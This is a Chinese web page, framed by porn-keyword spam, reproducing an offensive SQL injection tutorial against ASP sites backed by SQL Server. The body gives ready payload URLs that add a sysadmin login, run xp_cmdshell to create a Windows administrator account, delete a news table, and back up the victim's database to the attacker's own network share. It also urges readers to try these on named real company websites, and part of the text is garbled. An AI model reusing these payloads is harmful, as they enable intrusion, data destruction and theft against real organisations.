六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

最近才發現我的程序里有如此多的漏洞

[摘要]程的書上,源代碼例子就有這個漏洞存在,其實只是一些合法的ASP對SQL的請求,就留下后患無窮! 這種攻擊方法最早源于''or''1''=''1的漏洞(我們暫且稱其為漏洞),這個漏洞的原理我想大家因該都知道了,那么隨之而來的便是;exe...

程的書上,源代碼例子就有這個漏洞存在,其實只是一些合法的ASP對SQL的請求,就留下后患無窮!

這種攻擊方法最早源于''or''1''=''1的漏洞(我們暫且稱其為漏洞),這個漏洞的原理我想大家因該都知道了,那么隨之而來的便是;exec

sp_addlogin hax(在數據庫內添加一個hax用戶),但是這個方法的限制很大,首先ASP使用的SQL Server賬號是個管理員,其次請求的提交變

量在整個SQL語句的最后,因為有一些程序員采用SELECT * FROM news WHERE id=... AND topic=... AND .....

這種方法請求數據庫,那么如果還用以上的例子就會

news.asp?id=2;exec sp_addlogin hax

變成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

整個SQL語句在執行sp_addlogin的存儲過程后有AND與判斷存在,語法錯誤,你的sp_addlogin自然也不能正常運行了,因此試試看下面這個方法

news.asp?id=2;exec sp_addlogin hax;--

后面的--符號把sp_addlogin后的判斷語句變成了注釋,這樣就不會有語法錯誤了,sp_addlogin正常執行!

那么我們連一起來用吧

news.asp?id=2;exec master.dbo.sp_addlogin hax;--

news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--

news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--

news.asp?id=2;exec master.dbo.xp_cmdshell ''net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add'';--
news.asp?id=2;exec master.dbo.xp_cmdshell ''net localgroup administrators hax /add'';--

這樣,你在他的數據庫和系統內都留下了hax管理員賬號了

當然,前提條件是ASP用管理員賬號,所以虛擬空間大家就別試了,不會存在這個漏洞的。

以后我們會討論,如果對方的ASP不是用SQL管理員賬號,我們如何入侵,當然也會涉及到1433端口的入侵

當然大家可以試試看在id=2后面加上一個''符號,主要看對方的ASP怎么寫了,再說說當ASP程序使用的SQL賬號不是管理員的時候我們該如何做。

你如天融信的主頁,有新聞內容,如下:

http://www.talentit.com.cn/news/news-2.asp?newid=117

大家可以試試看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--

呵呵,報語法錯誤,select 123錯誤,顯而易見,天融新的ASP在newid變量后面用''號結束

那么試試看http://www.talentit.com.cn/news/news-2.asp?newid=117'';delete news;--

哈哈,我想只要表名猜對了,新聞庫就被刪了



通常ASP用的SQL賬號就算不是管理員也會是某個數據庫的owner,至少對于這個庫有很高的管理權限

但是我們不知道庫名該怎么?看看db_name()函數吧

打開你的query analyzer,看看print db_name() ,呵呵,當前的數據庫名就出來了

以次類推,如下: declare @a sysname;set @a=db_name();backup database @a to disk=''你的IP你的共享目錄bak.dat'' ,name=''test'';--

呵呵,他的當前數據庫就備份到你的硬盤上了,接下來要做的大家心里都明白了吧

同理這個方法可以找到對方的SQL的IP

先裝一個防火墻,打開ICMP和139TCP和445TCP的警告提示

然后試試看news.asp?id=2;exec master.dbo.xp_cmdshell ''ping 你的IP''

如果防火墻提示有人ping你,那么因該可以肯定對方的ASP用的是SQL的管理員權限,同時也確定了對方的SQL Server的準確位置,因為很多大 一點的網站考慮性能,會吧web服務和數據庫分開,當對方大上了補丁看不到源代碼時,我想只有這個方法能很快的定位對方的SQL Server的位置了

那么,如果對方ASP沒有SQL管理員權限,我們就不能調用xp_cmdshell了,該怎么辦?

別著急,試試看這個news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=''你的IP你的共享目錄bak.dat''



,name=''test'';--

呵呵,你的防火墻該發出警告了,有人連接你的445或139(win9端口了,這樣,對方的SQL的ip一樣也可以暴露 那么如果對方連某個數據庫的owner也不是的話,我們該怎么辦?下次我會告訴大幸隕蟯rl希望大家通過vbscript提交,因為瀏覽器的地址欄會屏蔽一些特殊字符,這樣你的命令就不能完整傳輸了

window.location.herf=URL



補充:這個問題以前載網上也提出來過,但是只是一些簡單的xp_cmdshell調用限制很大,其實這里面還有很多值得深入的地方比如 www.guosen.com.cn。國信證卷就有這個問題,而且他們采用ms的三層結構作的用以前說的xp_cmdshell做法就不行了,字符串會被過濾,但是 我嘗試了,用sql的異類請求仍然可以在對方的機器上開啟telnet服務和administrators組的賬號!由于對方防火墻很嚴checkpoint數據報進出 都只開放80端口因此,要想獲得他的數據庫結構比較困難了,但是還是有辦法可以做到的:P

順便提醒大家注意一下關于sqloledb,db_name,openrowset,opendatasource這些系統函數當asp的sqlserver賬號只是一個普通用戶時,他們會很有用的!



主站蜘蛛池模板: 一级a毛片免费观看久久精品 | 欧美特黄一区二区三区 | 亚洲欧洲日本在线观看 | 微草影院 | 婷婷欧美| 日韩在线视频免费 | 青青草免费在线视频 | 色婷婷一区二区三区四区成人 | 欧洲免费极品videos | 一级@片| 亚洲tv精品一区二区三区 | 欧美午夜色大片在线观看免费 | 婷婷亚洲综合五月天小说 | 视频在线观看91 | 青青草原在线视频免费观看 | 天天草天天| 日韩天天操| 日本vs欧美一区二区三区 | 人与禽交免费网站视频 | 青娱在线视频 | 日本三级网站在线线观看 | 天天干夜夜谢 | 午夜在线观看免费 | 性感保姆正片 | 欧美一区二区三区激情啪啪 | 天天看片中文字幕 | 色婷婷久久合月综 | 天天搞天天 | 亚洲欧美在线综合一区二区三区 | 日本视频a| 欧美性xxxxxx性 | 四虎影视ww5234hucomww网站 | 亚洲欧美在线精品一区二区 | 天天搞夜夜操 | 色婷婷5月 | 中文字幕在线精品视频入口一区 | 日本又黄又硬又粗好爽视频免费 | 日日摸日日干 | 日韩美视频网站 | 四虎影院免费在线 | 欧美线人一区二区三区 |